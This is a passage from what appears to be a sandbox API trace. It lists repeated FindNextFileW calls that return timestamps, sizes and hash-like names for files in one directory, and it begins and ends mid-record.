cAlternateFileName="5080DC~2")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd0e4c510, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0089.157] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0089.158] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, 